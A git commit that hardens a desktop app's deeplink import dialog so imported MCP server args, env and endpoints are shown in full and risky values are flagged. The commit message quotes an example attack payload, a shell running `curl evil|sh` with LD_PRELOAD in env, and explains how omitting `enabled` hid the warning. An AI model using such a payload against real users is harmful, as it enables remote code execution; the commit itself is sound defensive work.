fix(deeplink): surface MCP args/env and flag risky values on import

The MCP confirmation rendered only `Command: ${spec.command}`, inside a
`truncate` container, and showed neither `args` nor `env`. The realistic
payload -- `command: "sh"`, `args: ["-c", "curl evil|sh"]`, plus an
`env` carrying LD_PRELOAD -- therefore displayed as a harmless
`Command: sh`. On confirm it is written to `~/.claude.json` and the other
live files, and the CLI spawns it on next launch.

Render command, args, url and env on separate lines, expanding args
item by item rather than joining them: the payload usually sits inside
one argument, and joining then truncating is exactly how it stayed
hidden. `break-all` replaces `truncate` so nothing is clipped out of
view. Rows matching a `classify*` helper are marked, with a summary
block underneath since per-row markers are easy to skim past.

The provider side already listed env keys and values; it gains the same
highlighting, `break-all`, and an endpoint marker, and now shares
`maskValue` with the MCP view.

Show the "written to the target apps immediately" warning
unconditionally. It was gated on `request.enabled`, but the MCP import
path never reads that field -- `deeplink/mcp.rs` has no reference to it
and calls `set_enabled_for(&app, true)` unconditionally, unlike
prompt.rs, skill.rs and provider.rs which do honour it. Gating on it let
a malicious link omit `enabled` to suppress the warning while the write
behaviour stayed identical, turning the warning into a switch the
attacker controls.

New i18n keys added to all four locales (zh/en/ja/zh-TW).
This commit is contained in:
Jason
2026-07-28 22:48:21 +08:00
parent 6dbb944b54
commit a443eae95a
6 changed files with 241 additions and 81 deletions
+77 -60
View File
@@ -17,6 +17,12 @@ import { PromptConfirmation } from "./deeplink/PromptConfirmation";
import { McpConfirmation } from "./deeplink/McpConfirmation";
import { SkillConfirmation } from "./deeplink/SkillConfirmation";
import { ProviderIcon } from "./ProviderIcon";
import {
classifyEndpoint,
classifyEnvKey,
maskValue,
riskI18nKey,
} from "@/utils/deeplinkRisk";
interface DeeplinkError {
url: string;
@@ -277,16 +283,28 @@ export function DeepLinkImportDialog() {
}
}, [request?.config, request?.app]);
// Helper to mask sensitive values
const maskValue = (key: string, value: string): string => {
const sensitiveKeys = ["TOKEN", "KEY", "SECRET", "PASSWORD"];
const isSensitive = sensitiveKeys.some((k) =>
key.toUpperCase().includes(k),
/**
* env 行:值经 `maskValue` 脱敏,键命中加载器控制变量时标记。
*
* `break-all` 而非 `truncate`——被截断的值等于没展示。
*/
const EnvRow = ({ envKey, value }: { envKey: string; value: string }) => {
const risk = classifyEnvKey(envKey);
return (
<div className="grid grid-cols-2 gap-2 text-xs">
<span
className={`font-mono break-all ${
risk
? "text-yellow-700 dark:text-yellow-500 font-semibold"
: "text-muted-foreground"
}`}
>
{risk && <span aria-hidden="true"> </span>}
{envKey}
</span>
<span className="font-mono break-all">{maskValue(envKey, value)}</span>
</div>
);
if (isSensitive && value.length > 8) {
return `${value.substring(0, 8)}${"*".repeat(12)}`;
}
return value;
};
const getTitle = () => {
@@ -391,22 +409,37 @@ export function DeepLinkImportDialog() {
{t("deeplink.endpoint")}
</div>
<div className="col-span-2 text-sm break-all space-y-1">
{request.endpoint?.split(",").map((ep, idx) => (
<div
key={idx}
className={
idx === 0 ? "font-medium" : "text-muted-foreground"
}
>
{idx === 0 ? "🔹 " : "└ "}
{ep.trim()}
{idx === 0 && request.endpoint?.includes(",") && (
<span className="text-xs text-muted-foreground ml-2">
({t("deeplink.primaryEndpoint")})
</span>
)}
</div>
))}
{request.endpoint?.split(",").map((ep, idx) => {
const endpointRisk = classifyEndpoint(ep.trim());
return (
<div
key={idx}
className={
endpointRisk
? "text-yellow-700 dark:text-yellow-500 font-semibold"
: idx === 0
? "font-medium"
: "text-muted-foreground"
}
>
{idx === 0 ? "🔹 " : "└ "}
{endpointRisk && (
<span aria-hidden="true"> </span>
)}
{ep.trim()}
{idx === 0 && request.endpoint?.includes(",") && (
<span className="text-xs text-muted-foreground ml-2">
({t("deeplink.primaryEndpoint")})
</span>
)}
{endpointRisk && (
<div className="text-xs font-normal mt-0.5">
{t(riskI18nKey(endpointRisk))}
</div>
)}
</div>
);
})}
</div>
</div>
@@ -527,17 +560,11 @@ export function DeepLinkImportDialog() {
<div className="space-y-1.5">
{Object.entries(parsedConfig.env).map(
([key, value]) => (
<div
<EnvRow
key={key}
className="grid grid-cols-2 gap-2 text-xs"
>
<span className="font-mono text-muted-foreground truncate">
{key}
</span>
<span className="font-mono truncate">
{maskValue(key, String(value))}
</span>
</div>
envKey={key}
value={String(value)}
/>
),
)}
</div>
@@ -552,21 +579,17 @@ export function DeepLinkImportDialog() {
<div className="text-xs text-muted-foreground">
Auth:
</div>
{Object.entries(parsedConfig.auth).map(
([key, value]) => (
<div
key={key}
className="grid grid-cols-2 gap-2 text-xs pl-2"
>
<span className="font-mono text-muted-foreground truncate">
{key}
</span>
<span className="font-mono truncate">
{maskValue(key, String(value))}
</span>
</div>
),
)}
<div className="pl-2 space-y-1.5">
{Object.entries(parsedConfig.auth).map(
([key, value]) => (
<EnvRow
key={key}
envKey={key}
value={String(value)}
/>
),
)}
</div>
</div>
)}
{parsedConfig.tomlConfig && (
@@ -590,17 +613,11 @@ export function DeepLinkImportDialog() {
<div className="space-y-1.5">
{Object.entries(parsedConfig.env).map(
([key, value]) => (
<div
<EnvRow
key={key}
className="grid grid-cols-2 gap-2 text-xs"
>
<span className="font-mono text-muted-foreground truncate">
{key}
</span>
<span className="font-mono truncate">
{maskValue(key, String(value))}
</span>
</div>
envKey={key}
value={String(value)}
/>
),
)}
</div>
+120 -13
View File
@@ -2,6 +2,14 @@ import { useMemo } from "react";
import { useTranslation } from "react-i18next";
import { DeepLinkImportRequest } from "../../lib/api/deeplink";
import { decodeBase64Utf8 } from "../../lib/utils/base64";
import {
classifyCommand,
classifyEndpoint,
classifyEnvKey,
maskValue,
riskI18nKey,
type RiskKind,
} from "@/utils/deeplinkRisk";
export function McpConfirmation({
request,
@@ -25,6 +33,47 @@ export function McpConfirmation({
const targetApps = request.apps?.split(",") || [];
const serverCount = Object.keys(mcpServers || {}).length;
// 汇总所有条目命中的风险,在底部给一句总的提示——逐行的 ⚠ 容易被划过去。
const risks = useMemo(() => {
const found = new Set<RiskKind>();
for (const spec of Object.values(mcpServers || {}) as any[]) {
const commandRisk = classifyCommand(spec?.command, spec?.args);
if (commandRisk) found.add(commandRisk);
if (typeof spec?.url === "string") {
const urlRisk = classifyEndpoint(spec.url);
if (urlRisk) found.add(urlRisk);
}
for (const key of Object.keys(spec?.env || {})) {
const envRisk = classifyEnvKey(key);
if (envRisk) found.add(envRisk);
}
}
return [...found];
}, [mcpServers]);
/** 一行 key/value。`break-all` 而非 `truncate`payload 不得被 CSS 藏起来。 */
const Row = ({
label,
value,
risk,
}: {
label: string;
value: string;
risk?: RiskKind | null;
}) => (
<div className="grid grid-cols-[4rem_1fr] gap-2 text-xs">
<span className="text-muted-foreground shrink-0">{label}</span>
<span
className={`font-mono break-all ${
risk ? "text-yellow-700 dark:text-yellow-500 font-semibold" : ""
}`}
>
{risk && <span aria-hidden="true"> </span>}
{value}
</span>
</div>
);
return (
<div className="space-y-4">
<h3 className="text-lg font-semibold">{t("deeplink.mcp.title")}</h3>
@@ -51,25 +100,83 @@ export function McpConfirmation({
</label>
<div className="mt-1 space-y-2 max-h-64 overflow-auto border rounded p-2 bg-muted/30">
{mcpServers &&
Object.entries(mcpServers).map(([id, spec]: [string, any]) => (
<div key={id} className="p-2 bg-background rounded border">
<div className="font-semibold text-sm">{id}</div>
<div className="text-xs text-muted-foreground mt-1 font-mono truncate">
{spec.command
? `Command: ${spec.command} `
: `URL: ${spec.url} `}
Object.entries(mcpServers).map(([id, spec]: [string, any]) => {
const commandRisk = classifyCommand(spec?.command, spec?.args);
const argv: string[] = Array.isArray(spec?.args)
? spec.args.map(String)
: [];
const env: Record<string, unknown> = spec?.env || {};
return (
<div key={id} className="p-2 bg-background rounded border">
<div className="font-semibold text-sm mb-1">{id}</div>
<div className="space-y-1">
{spec?.command && (
<Row
label={t("deeplink.mcp.command")}
value={String(spec.command)}
risk={commandRisk}
/>
)}
{/* 逐项展开而不是 join(" ")payload 常常整条藏在某一个 arg 里,
拼成一行再 truncate 正是它此前得以隐身的原因。 */}
{argv.map((arg, index) => (
<Row
key={index}
label={index === 0 ? t("deeplink.mcp.args") : ""}
value={arg}
risk={commandRisk}
/>
))}
{spec?.url && (
<Row
label={t("deeplink.mcp.url")}
value={String(spec.url)}
risk={classifyEndpoint(String(spec.url))}
/>
)}
{Object.entries(env).map(([key, value], index) => (
<Row
key={key}
label={index === 0 ? t("deeplink.mcp.env") : ""}
value={`${key}=${maskValue(key, String(value))}`}
risk={classifyEnvKey(key)}
/>
))}
</div>
</div>
</div>
))}
);
})}
</div>
</div>
{request.enabled && (
<div className="text-yellow-600 dark:text-yellow-500 text-sm flex items-center gap-2">
<span></span>
<span>{t("deeplink.mcp.enabledWarning")}</span>
{risks.length > 0 && (
<div className="rounded border border-yellow-500/40 bg-yellow-500/10 p-2 space-y-1">
{risks.map((kind) => (
<div
key={kind}
className="text-yellow-700 dark:text-yellow-500 text-sm flex items-start gap-2"
>
<span aria-hidden="true"></span>
<span>{t(riskI18nKey(kind))}</span>
</div>
))}
</div>
)}
{/*
无条件显示,不看 `request.enabled`。
MCP 导入路径**根本不读这个字段**——`deeplink/mcp.rs` 里全文没有它,
而 `:196` 是无条件的 `merged.set_enabled_for(&app, true)`。
prompt.rs / skill.rs / provider.rs 各自读了 `request.enabled`,唯独 MCP 没有,
所以很容易误以为这里也生效。)
挂条件的后果是:恶意链接省略 `enabled` 就能让这条警告消失,而写入行为
一模一样——把提示变成了可被攻击者关掉的开关。
*/}
<div className="text-yellow-600 dark:text-yellow-500 text-sm flex items-center gap-2">
<span></span>
<span>{t("deeplink.mcp.enabledWarning")}</span>
</div>
</div>
);
}
+11 -2
View File
@@ -2483,7 +2483,11 @@
"title": "Batch Import MCP Servers",
"targetApps": "Target Apps",
"serverCount": "MCP Servers ({{count}})",
"enabledWarning": "After import, configurations will be written to all specified apps immediately"
"enabledWarning": "After import, configurations will be written to all specified apps immediately",
"command": "Command",
"args": "Args",
"env": "Env",
"url": "URL"
},
"prompt": {
"title": "Import System Prompt",
@@ -2508,7 +2512,12 @@
"usageApiKey": "Usage API Key",
"usageBaseUrl": "Usage Query URL",
"usageAutoInterval": "Auto Query",
"usageAutoIntervalValue": "Every {{minutes}} minutes"
"usageAutoIntervalValue": "Every {{minutes}} minutes",
"risk": {
"envHijack": "This config sets environment variables that change how processes load code (e.g. injecting libraries or replacing CA certificates). Import only from a source you trust.",
"privateEndpoint": "This address points at localhost or a private network. Do not import unless it is your own local service.",
"shellCommand": "This config runs a full command line through a shell — what actually executes is in the arguments. Review each line."
}
},
"iconPicker": {
"search": "Search Icons",
+11 -2
View File
@@ -2483,7 +2483,11 @@
"title": "MCP サーバーを一括インポート",
"targetApps": "ターゲットアプリ",
"serverCount": "MCP サーバー({{count}} 件)",
"enabledWarning": "インポート後、指定したすべてのアプリに即座に書き込まれます"
"enabledWarning": "インポート後、指定したすべてのアプリに即座に書き込まれます",
"command": "コマンド",
"args": "引数",
"env": "環境変数",
"url": "URL"
},
"prompt": {
"title": "システムプロンプトをインポート",
@@ -2508,7 +2512,12 @@
"usageApiKey": "使用量 API キー",
"usageBaseUrl": "使用量クエリ URL",
"usageAutoInterval": "自動クエリ",
"usageAutoIntervalValue": "{{minutes}} 分ごと"
"usageAutoIntervalValue": "{{minutes}} 分ごと",
"risk": {
"envHijack": "この設定には、プロセスの読み込み動作を変える環境変数(ライブラリの注入、CA 証明書の差し替えなど)が含まれています。信頼できる提供元か確認してください。",
"privateEndpoint": "このアドレスはローカルホストまたは内部ネットワークを指しています。自分で立てたローカルサービス以外はインポートしないでください。",
"shellCommand": "この設定はシェル経由でコマンド全体を実行します。実際に動作する内容は引数にあります。1 行ずつ確認してください。"
}
},
"iconPicker": {
"search": "アイコンを検索",
+11 -2
View File
@@ -2454,7 +2454,11 @@
"title": "批次匯入 MCP Servers",
"targetApps": "目標應用程式",
"serverCount": "MCP Servers ({{count}} 個)",
"enabledWarning": "匯入後將立即寫入所有指定應用程式的設定檔"
"enabledWarning": "匯入後將立即寫入所有指定應用程式的設定檔",
"command": "命令",
"args": "參數",
"env": "環境",
"url": "位址"
},
"prompt": {
"title": "匯入系統提示詞",
@@ -2479,7 +2483,12 @@
"usageApiKey": "用量 API Key",
"usageBaseUrl": "用量查詢位址",
"usageAutoInterval": "自動查詢",
"usageAutoIntervalValue": "每 {{minutes}} 分鐘"
"usageAutoIntervalValue": "每 {{minutes}} 分鐘",
"risk": {
"envHijack": "該設定包含可改變處理程序載入行為的環境變數(例如注入動態程式庫、替換 CA 憑證),請確認來源可信。",
"privateEndpoint": "該位址指向本機或內部網路。若非你自建的本機服務,請勿匯入。",
"shellCommand": "該設定透過 shell 執行整段命令,實際執行的內容在參數裡,請逐行核對。"
}
},
"iconPicker": {
"search": "搜尋圖示",
+11 -2
View File
@@ -2483,7 +2483,11 @@
"title": "批量导入 MCP Servers",
"targetApps": "目标应用",
"serverCount": "MCP Servers ({{count}} 个)",
"enabledWarning": "导入后将立即写入所有指定应用的配置文件"
"enabledWarning": "导入后将立即写入所有指定应用的配置文件",
"command": "命令",
"args": "参数",
"env": "环境",
"url": "地址"
},
"prompt": {
"title": "导入系统提示词",
@@ -2508,7 +2512,12 @@
"usageApiKey": "用量 API Key",
"usageBaseUrl": "用量查询地址",
"usageAutoInterval": "自动查询",
"usageAutoIntervalValue": "每 {{minutes}} 分钟"
"usageAutoIntervalValue": "每 {{minutes}} 分钟",
"risk": {
"envHijack": "该配置包含可改变进程加载行为的环境变量(如注入动态库、替换 CA 证书),请确认来源可信。",
"privateEndpoint": "该地址指向本机或内网。若非你自建的本地服务,请勿导入。",
"shellCommand": "该配置通过 shell 执行一整段命令,实际运行的内容在参数里,请逐行核对。"
}
},
"iconPicker": {
"search": "搜索图标",